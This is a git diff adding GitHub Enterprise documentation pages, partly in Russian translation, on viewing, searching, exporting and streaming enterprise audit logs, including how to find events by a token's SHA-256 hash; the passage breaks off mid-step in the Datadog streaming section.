a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..540bbcda055f --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise.md @@ -0,0 +1,52 @@ +--- +title: Displaying IP addresses in the audit log for your enterprise +intro: You can display the source IP address for events in your enterprise's audit log. +shortTitle: IP addresses in audit log +permissions: Enterprise owners can display IP addresses in the audit log for an enterprise. +versions: + feature: enterprise-audit-log-ip-addresses +type: how_to +topics: + - Auditing + - Enterprise + - Logging + - Networking + - Security +--- + +## About display of IP addresses in the audit log + +By default, {% data variables.product.product_name %} does not display the source IP address for events in your enterprise's audit log. Optionally, to ensure compliance and respond to threats, you can display the full IP address associated with the actor responsible for each event. Actors are typically users, but can also be apps or integrations. + +You are responsible for meeting any legal obligations that accompany the viewing or storage of IP addresses displayed within your enterprise's audit log. + +If you choose to display IP addresses, the IP addresses only appear in your enterprise's audit log. IP addresses will not appear for events in the audit logs for individual organizations owned by your enterprise. For more information about organization audit logs, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)." + +You can display IP addresses in the audit log regardless of which authentication method you use for your enterprise on {% data variables.location.product_location %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." + +When anyone creates an account on {% data variables.location.product_location %}, the person agrees to {% data variables.product.company_short %}'s collection of basic information about connections to {% data variables.product.company_short %}'s services, including source IP address. For more information, see "[GitHub Privacy Statement](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement#usage-information)." + +## Events that display IP addresses in the audit log + +{% data variables.product.product_name %} displays an IP address in the audit log when a member of the enterprise interacts with a resource owned by your enterprise or an organization in your enterprise. For example, you will see an IP address for audited events involving an internal or private repository owned by an organization in your enterprise, or resources associated with those repositories, such as an issue, pull request, action, or project. + +If members of your enterprise access {% data variables.location.product_location %} with personal accounts that they manage, because you do not use {% data variables.product.prodname_emus %}, {% data variables.product.product_name %} does not display an event or IP address in the audit log for the following actions. + +- Authentication to {% data variables.location.product_location %} +- Interactions with a resource owned by the personal account, including a repository, gist, or project +- Interactions with a public repository owned by an organization in your enterprise + +## Enabling display of IP addresses in the audit log + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.audit-log-tab %} +1. Under "Audit log", click **Source IP disclosure**. + + ![Screenshot of "Source IP disclosure" tab](/assets/images/help/enterprises/audit-log-source-ip-disclosure-tab.png) +1. Under "Disclose actor IP addresses in audit logs", select **Enable source IP disclosure**. + + ![Screenshot of checkbox to enable display of IP addresses in audit logs](/assets/images/help/enterprises/audit-log-enable-source-ip-disclosure-checkbox.png) +1. Click **Save**. + +After you enable the feature, you can access the audit log to view events that include IP addresses. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md new file mode 100644 index 000000000000..7b363776ac91 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise.md @@ -0,0 +1,54 @@ +--- +title: Экспорт действий журнала аудита для предприятия +intro: Данные аудита и событий Git можно экспортировать в файл для автономного анализа. +shortTitle: Export audit logs +permissions: Enterprise owners can export the audit log. +miniTocMaxHeadingLevel: 3 +versions: + ghec: '*' +type: tutorial +topics: + - Auditing + - Enterprise + - Logging +ms.openlocfilehash: 208e086fa93c89879357d340aa459b3d40824383 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060741' +--- +## Сведения об экспорте данных журнала аудита и событий Git + +Журнал аудита можно экспортировать, скачав JSON-файл или CSV-файл из предприятия на {% data variables.product.product_name %}. При экспорте событий журнала аудита можно запросить один или несколько поддерживаемых квалификаторов, чтобы отфильтровать определенные события журнала для экспорта. Дополнительные сведения о квалификаторах поиска см. в разделе [Поиск на основе выполненного действия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise#search-based-on-the-action-performed). + +Можно экспортировать данные событий Git, скачав JSON-файл из журнала аудита предприятия. В отличие от данных журнала аудита, вы не можете запрашивать определенные события Git для фильтрации и экспорта в пользовательском интерфейсе журнала аудита. + +{% data reusables.audit_log.git-events-export-limited %} + +{% data reusables.audit_log.exported-log-keys-and-values %} + +В качестве альтернативы экспорту событий журнала можно использовать API для получения событий журнала аудита или настройки {% data variables.product.product_name %}, чтобы была возможность потоковой передачи данных аудита по мере регистрации событий. Дополнительные сведения см. в разделе [Использование API журнала аудита для предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) и [Потоковая передача журнала аудита для предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). + +## Экспорт данных журнала аудита + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} +1. При необходимости можно экспортировать только отфильтрованные результаты, выполнить поиск по одному или нескольким поддерживаемым квалификаторами или фильтрам журналов. +2. Выберите раскрывающееся меню экспорта {% octicon "download" aria-label="The Download icon" %} **Экспорт**, а затем формат файла (JSON или CSV), чтобы экспортировать события журнала. + + ![Кнопка экспорта](/assets/images/help/organizations/org-audit-log-export.png) + +## Экспорт данных событий Git + +Можно также экспортировать данные событий Git по диапазону дат. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} +1. Выберите раскрывающееся меню {% octicon "download" aria-label="The Download icon" %} **Экспорт событий Git**, а затем диапазон дат для экспорта событий журнала. + + ![Кнопка "Экспорт событий Git"](/assets/images/help/organizations/org-audit-log-export-git-events.png) +1. Щелкните {% octicon "file-zip" aria-label="The File-zip icon" %} **Скачать результаты**, чтобы скачать файл. +1. Данные экспортируются в виде сжатого JSON-файла. Чтобы извлечь данные JSON, распакуйте файл с помощью клиента или команды архивной программы. Пример: + + ``` + gunzip export-avocado-corp-1642896556.json.gz + ``` diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md new file mode 100644 index 000000000000..3c202896ba92 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token.md @@ -0,0 +1,73 @@ +--- +title: 'Идентификация событий журнала аудита, выполняемых маркером доступа' +shortTitle: Identify events by token +intro: 'Вы можете определить действия, выполняемые определенным {% data variables.product.pat_generic %} или маркером OAuth в вашем предприятии.' +versions: + feature: token-audit-log +ms.openlocfilehash: 4452e740e611ea3f903c5d122222b3cb575ba37d +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160135' +--- +## Сведения о данных маркера в журнале аудита + +В журнале аудита предприятия для любых действий, выполненных с помощью {% data variables.product.pat_generic %} или приложения OAuth для проверки подлинности, данные события будут отображать используемый метод проверки подлинности и хэш SHA-256 маркера. + +Если вы узнали, что маркер был скомпрометирован, вы можете понять действия, предпринятые скомпрометированный маркер, выполнив поиск в журнале аудита предприятия на наличие всех событий, связанных с этим маркером. + +Хэшированные значения маркеров не включаются при экспорте журнала аудита. + +## Поиск событий, связанных с маркером + +При поиске событий, связанных с определенным маркером, можно использовать пользовательский интерфейс или REST API. В любом случае сначала необходимо знать хэш SHA-256 маркера. + +### Создание хэш-значения SHA-256 для токена + +Если у вас есть только необработанное значение маркера, необходимо создать хэш SHA-256, прежде чем выполнять поиск маркера. + +Для MacOS и Linux можно использовать `echo -n TOKEN | openssl dgst -sha256 -binary | base64`, заменив TOKEN значением токена. + +Для PowerShell можно использовать следующий скрипт, чтобы вернуть хэш SHA-256 для заданной строки. + +```shell{:copy} +Param ( + [Parameter(Mandatory=$true)] + [string] + $ClearString +) + +$hasher = [System.Security.Cryptography.HashAlgorithm]::Create('sha256') +$hash = $hasher.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ClearString)) + +$hashString = [System.BitConverter]::ToString($hash) +$hashString.Replace('-', '') +``` + +### Поиск по {% data variables.product.prodname_dotcom %} + +При поиске в журнале аудита {% data variables.product.prodname_dotcom %} включите `hashed_token:"VALUE"` в поисковый запрос, заменив `VALUE` хэшом SHA-256 маркера. + +{% note %} + +**Примечание:** Обязательно заключите хэшированные значения маркера в кавычки. + +{% endnote %} + +### Поиск с помощью REST API + +Перед поиском маркера с помощью REST API после создания хэша SHA-256 необходимо также экранировать хэш с помощью URI. Большинство основных языков программирования предоставляют служебную программу для экранирования URI. Например, [encodeURIComponent()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) кодирует строку для JavaScript. + +Затем включите `hashed_token:"VALUE"` в поисковую фразу, заменив VALUE хэшом, экранируемым URI. + +Например, если имя корпоративной учетной записи — , следующая `octo-corp`команда curl будет искать @octo-corpв журнале аудита все события, связанные с токеном, хэш SHA-256 в кодировке URI которого имеет значение `EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8`. + +``` +curl --location --request GET 'https://api.github.com/enterprises/octo-corp/audit-log?phrase=hashed_token:"EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8"' \ +--header 'Authorization: Basic TOKEN' \ +``` + +## Дополнительные материалы + +- [Использование API журнала аудита для предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md new file mode 100644 index 000000000000..8a0df8c32923 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/index.md @@ -0,0 +1,29 @@ +--- +title: Просмотр журналов аудита для предприятия +intro: Вы можете просматривать действия пользователей и системы в журналах аудита для вашего предприятия. +shortTitle: Review audit logs +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /about-the-audit-log-for-your-enterprise + - /accessing-the-audit-log-for-your-enterprise + - /configuring-the-audit-log-for-your-enterprise + - /displaying-ip-addresses-in-the-audit-log-for-your-enterprise + - /searching-the-audit-log-for-your-enterprise + - /identifying-audit-log-events-performed-by-an-access-token + - /exporting-audit-log-activity-for-your-enterprise + - /streaming-the-audit-log-for-your-enterprise + - /using-the-audit-log-api-for-your-enterprise + - /audit-log-events-for-your-enterprise +ms.openlocfilehash: c7e0a9231e74b94f80bb4048d9854cdade2f556a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159802' +--- + diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..901048a1e8da --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md @@ -0,0 +1,141 @@ +--- +title: Searching the audit log for your enterprise +intro: You can search an extensive list of audited actions in your enterprise. +shortTitle: Search audit logs +permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.' +redirect_from: + - /enterprise/admin/articles/searching-the-audit-log + - /enterprise/admin/installation/searching-the-audit-log + - /enterprise/admin/user-management/searching-the-audit-log + - /admin/user-management/searching-the-audit-log + - /admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log +versions: + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Logging +miniTocMaxHeadingLevel: 3 +--- + +## About search for the enterprise audit log + +You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query. + + ![Search query](/assets/images/enterprise/site-admin-settings/search-query.png) + +For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." + +{% data reusables.audit_log.git-events-not-in-search-results %} + +You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)." + +You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." + +{% note %} + +**Note**: {% data reusables.audit_log.retention-periods %} + +{% endnote %} + +## Search query filters + +Filter| Description +--------------:| ----------- +`Yesterday's activity` | All actions created in the past day. +`Enterprise account management` | All actions in the `business` category. +`Organization membership` | All actions for when a new user was invited to join an organization. +`Team management` | All actions related to team management.
- When a user account or repository was added or removed from a team
- When a team maintainer was promoted or demoted
- When a team was deleted +`Repository management` | All actions for repository management.
- When a repository was created or deleted
- When the repository visibility was changed
- When a team was added or removed from a repository{% ifversion ghec %} +`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %} +`Hook activity` | All actions for webhooks and pre-receive hooks. +`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories. + +## Search query syntax + +You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017: + + `repo:"octocat/Spoon-Knife" AND created:>=2017-01-01` + +The `key:value` pairs that can be used in a search query are: + +Key | Value +--------------:| -------------------------------------------------------- +`actor_id` | ID of the user account that initiated the action +`actor` | Name of the user account that initiated the action +`oauth_app_id` | ID of the OAuth application associated with the action +`action` | Name of the audited action +`user_id` | ID of the user affected by the action +`user` | Name of the user affected by the action +`repo_id` | ID of the repository affected by the action (if applicable) +`repo` | Name of the repository affected by the action (if applicable) +`actor_ip` | IP address from which the action was initiated +`created` | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %} +`from` | View from which the action was initiated +`note` | Miscellaneous event-specific information (in either plain text or JSON format) +`org` | Name of the organization affected by the action (if applicable) +`org_id` | ID of the organization affected by the action (if applicable) +`business` | Name of the enterprise affected by the action (if applicable) +`business_id` | ID of the enterprise affected by the action (if applicable) +{%- ifversion token-audit-log %} +`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)") +{%- endif %} + +To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)." + +For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." + +## Searching the audit log + +{% data reusables.audit_log.audit-log-search-by-operation %} + +{% data reusables.audit_log.audit-log-search-by-repo %} + +{% data reusables.audit_log.audit-log-search-by-user %} + +### Search based on the action performed + +To search for specific events, use the `action` qualifier in your query. For example: + + * `action:team` finds all events grouped within the team category. + * `-action:hook` excludes all events in the webhook category. + +Each category has a set of associated actions that you can filter on. For example: + + * `action:team.create` finds all events where a team was created. + * `-action:hook.events_changed` excludes all events where the events on a webhook have been altered. + +Actions that can be found in your enterprise audit log are grouped within the following categories: + +{% data reusables.audit_log.audit-log-action-categories %} +### Search based on time of action + +Use the `created` qualifier to filter events in the audit log based on when they occurred. + +{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +For example: + + * `created:2014-07-08` finds all events that occurred on July 8th, 2014. + * `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014. + * `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014. + * `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014. + +### Search based on location + +Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example: + + * `country:de` finds all events that occurred in Germany. + * `country:Mexico` finds all events that occurred in Mexico. + * `country:"United States"` all finds events that occurred in the United States. + +{% ifversion token-audit-log %} +### Search based on the token that performed the action + +Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)." +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..7ef4d78ae471 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md @@ -0,0 +1,337 @@ +--- +title: Streaming the audit log for your enterprise +intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.' +miniTocMaxHeadingLevel: 3 +versions: + feature: audit-log-streaming +type: tutorial +topics: + - Auditing + - Enterprise + - Logging + - Organizations +shortTitle: Stream audit logs +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/streaming-the-audit-logs-for-organizations-in-your-enterprise-account + - /admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account +permissions: Enterprise owners can configure audit log streaming. +--- + +{% ifversion ghes %} +{% note %} + +**Note:** Audit log streaming is currently in beta for {% data variables.product.product_name %} and is subject to change. + +{% endnote %} +{% endif %} + +## About audit log streaming + +To help protect your intellectual property and maintain compliance for your organization, you can use streaming to keep copies of your audit log data and monitor: +{% data reusables.audit_log.audited-data-list %} + +The benefits of streaming audit data include: + +* **Data exploration**. You can examine streamed events using your preferred tool for querying large quantities of data. The stream contains both audit events and Git events across the entire enterprise account.{% ifversion pause-audit-log-stream %} +* **Data continuity**. You can pause the stream for up to seven days without losing any audit data.{% endif %} +* **Data retention**. You can keep your exported audit logs and Git events data as long as you need to. + +Enterprise owners can set up{% ifversion pause-audit-log-stream %}, pause,{% endif %} or delete a stream at any time. The stream exports the audit and Git events data for all of the organizations in your enterprise. + +## Setting up audit log streaming + +You set up the audit log stream on {% data variables.product.product_name %} by following the instructions for your provider. + +- [Amazon S3](#setting-up-streaming-to-amazon-s3) +- [Azure Blob Storage](#setting-up-streaming-to-azure-blob-storage) +- [Azure Event Hubs](#setting-up-streaming-to-azure-event-hubs){% ifversion streaming-datadog %} +- [Datadog](#setting-up-streaming-to-datadog){% endif %} +- [Google Cloud Storage](#setting-up-streaming-to-google-cloud-storage) +- [Splunk](#setting-up-streaming-to-splunk) + +### Setting up streaming to Amazon S3 + +{% ifversion streaming-oidc-s3 %} +You can set up streaming to S3 with access keys or, to avoid storing long-lived secrets in {% data variables.product.product_name %}, with OpenID Connect (OIDC). + +- [Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys) +- [Setting up streaming to S3 with OpenID Connect](#setting-up-streaming-to-s3-with-openid-connect) +- [Disabling streaming to S3 with OpenID Connect](#disabling-streaming-to-s3-with-openid-connect) + +#### Setting up streaming to S3 with access keys +{% endif %} + +To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. + +To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need: +* The name of your Amazon S3 bucket +* Your AWS access key ID +* Your AWS secret key + +For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation. + +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +{% data reusables.audit_log.streaming-choose-s3 %}{% ifversion streaming-oidc-s3 %} +1. Under "Authentication", click **Access keys**. + + ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-access-keys.png){% endif %} +1. Configure the stream settings. + + - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. + - Under "Access Key ID", type your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`. + - Under "Secret Key", type your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. +{% data reusables.audit_log.streaming-check-s3-endpoint %} +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +{% ifversion streaming-oidc-s3 %} +#### Setting up streaming to S3 with OpenID Connect + +1. In AWS, add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. + + - For the provider URL, use `https://oidc-configuration.audit-log.githubusercontent.com`. + - For "Audience", use `sts.amazonaws.com`. +1. Create a bucket, and block public access to the bucket. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the AWS documentation. +1. Create a policy that allows {% data variables.product.company_short %} to write to the bucket by copying the following JSON and replacing `EXAMPLE-BUCKET` with the name of your bucket. {% data variables.product.prodname_dotcom %} requires only the permissions in this JSON. + + ``` + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "s3:PutObject" + ], + "Resource": "arn:aws:s3:::EXAMPLE-BUCKET/*" + } + ] + } + ``` + For more information, see [Creating IAM policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html) in the AWS documentation. +1. Configure the role and trust policy for the {% data variables.product.prodname_dotcom %} IdP. For more information, see [Creating a role for web identity or OpenID Connect Federation (console)](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html) in the AWS documentation. + + - Add the permissions policy you created above to allow writes to the bucket. + - Edit the trust relationship to add the `sub` field to the validation conditions, replacing `ENTERPRISE` with the name of your enterprise. + ``` + "Condition": { + "StringEquals": { + "oidc-configuration.audit-log.githubusercontent.com:aud": "sts.amazonaws.com", + "oidc-configuration.audit-log.githubusercontent.com:sub": "https://github.com/ENTERPRISE" + } + } + ``` + - Make note of the Amazon Resource Name (ARN) of the created role. +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +{% data reusables.audit_log.streaming-choose-s3 %} +1. Under "Authentication", click **OpenID Connect**. + + ![Screenshot of the authentication options for streaming to Amazon S3](/assets/images/help/enterprises/audit-log-streaming-s3-oidc.png) +1. Configure the stream settings. + + - Under "Bucket", type the name of the bucket you want to stream to. For example, `auditlog-streaming-test`. + - Under "ARN Role" type the ARN role you noted earlier. For example, `arn:aws::iam::1234567890:role/github-audit-log-streaming-role`. +{% data reusables.audit_log.streaming-check-s3-endpoint %} +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +#### Disabling streaming to S3 with OpenID Connect + +If you want to disable streaming to S3 with OIDC for any reason, such as the discovery of a security vulnerability in OIDC, delete the {% data variables.product.prodname_dotcom %} OIDC provider you created in AWS when you set up streaming. For more information, see [Creating OpenID Connect (OIDC) identity providers](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) in the AWS documentation. + +Then, set up streaming with access keys until the vulnerability is resolved. For more information, see "[Setting up streaming to S3 with access keys](#setting-up-streaming-to-s3-with-access-keys)." + +{% endif %} + +### Setting up streaming to Azure Blob Storage + +Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have created a storage account and a container in Microsoft Azure. For details, see the Microsoft documentation, "[Introduction to Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)." + +To configure the stream in {% data variables.product.prodname_dotcom %} you need the URL of a SAS token. + +**On Microsoft Azure portal**: +1. On the Home page, click **Storage Accounts**. +2. Click the name of the storage account you want to use, then click **Containers**. + + ![The Containers link in Azure](/assets/images/azure/azure-storage-containers.png) + +1. Click the name of the container you want to use. +1. Click **Shared access tokens**. + + ![The shared access token link in Azure](/assets/images/azure/azure-storage-shared-access-tokens.png) + +1. In the **Permissions** drop-down menu, change the permissions to only allow `Create` and `Write`. + + ![The permissions drop-down menu](/assets/images/azure/azure-storage-permissions.png) + +1. Set an expiry date that complies with your secret rotation policy. +1. Click **Generate SAS token and URL**. +1. Copy the value of the **Blob SAS URL** field that's displayed. You will use this URL in {% data variables.product.prodname_dotcom %}. + +**On {% data variables.product.prodname_dotcom %}**: +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Click **Configure stream** and select **Azure Blob Storage**. + + ![Choose Azure Blob Storage from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azureblob.png) + +1. On the configuration page, enter the blob SAS URL that you copied in Azure. The **Container** field is auto-filled based on the URL. + + ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azureblob.png) + +1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Blob Storage endpoint. + + ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) + +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +### Setting up streaming to Azure Event Hubs + +Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." + +You need two pieces of information about your event hub: its instance name and the connection string. + +**On Microsoft Azure portal**: +1. Search for "Event Hubs". + + ![The Azure portal search box](/assets/images/azure/azure-resources-search.png ) + +1. Select **Event Hubs**. The names of your event hubs are listed. + + ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png) + +1. Make a note of the name of the event hub you want to stream to. +1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**. +1. Select a shared access policy in the list of policies, or create a new policy. + + ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png) + +1. Click the button to the right of the **Connection string-primary key** field to copy the connection string. + + ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png) + +**On {% data variables.product.prodname_dotcom %}**: +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Click **Configure stream** and select **Azure Event Hubs**. + + ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png) + +1. On the configuration page, enter: + * The name of the Azure Event Hubs instance. + * The connection string. + + ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png) + +1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Azure Events Hub endpoint. + + ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png) + +{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + +{% ifversion streaming-datadog %} +### Setting up streaming to Datadog + +To set up streaming to Datadog, you must create a client token or an API key in Datadog, then configure audit log streaming in {% data variables.product.product_name %} using the token for authentication. You do not need to create a bucket or other storage container in Datadog. + +After you set up streaming to Datadog, you can see your audit log data by filtering by "github.audit.streaming." For more information, see [Log Management](https://docs.datadoghq.com/logs/). + +1. If you don't already have a Datadog account, create one. +1. In Datadog, generate a client token or an API key, then click **Copy key**. For more information, see [API and Application Keys](https://docs.datadoghq.com/account_management/api-app-keys/) in Datadog Docs. +{% data reusables.enterprise.navigate-to-log-streaming-tab %} +1. Select the **Configure 